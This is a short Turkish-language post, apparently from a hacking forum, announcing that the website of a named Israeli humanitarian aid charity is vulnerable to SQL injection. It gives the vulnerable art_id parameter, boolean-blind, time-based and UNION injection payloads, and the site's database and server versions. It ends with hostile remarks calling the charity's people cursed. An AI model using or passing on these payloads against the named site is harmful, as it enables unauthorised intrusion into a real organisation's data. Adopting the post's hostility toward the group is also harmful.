SQL açıklı isr*il insani yardım kuruluşu sitesi

Joseph Project International, İsrail'deki savaş ve kriz dönemlerinde askerlere ve savunmasız sivillere acil insani yardım (gıda, giyecek, barınma, hijyen malzemesi) ulaştırmayı amaçlayan bir yardım kuruluşudur.




---

ZAFİYET TÜRÜ: SQL Enjeksiyonu (SQL Injection)

ZAFİYETLİ PARAMETRE: art_id (GET)

TESİP EDİLEN ZAFİYETLER:

1. Boolean-based Blind:

```
Payload: art_id=2 AND 3856=3856
```

2. Time-based Blind (Heavy Query):

```
Payload: art_id=2 AND 4841=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
```

3. UNION Query (6 sütun):

```
Payload: art_id=2 UNION ALL SELECT ... (6 sütun)
```

---

TEKNİK DETAYLAR:

· Back-end DBMS: MySQL > 5.0.12 (MariaDB fork)
· Web Teknolojisi: LiteSpeed, PHP 8.0.30
· WAF/IPS: Aktif

İnsanlıklarımı kalmışda insani yardım yapıyolarmış lanetliler tebrik ederim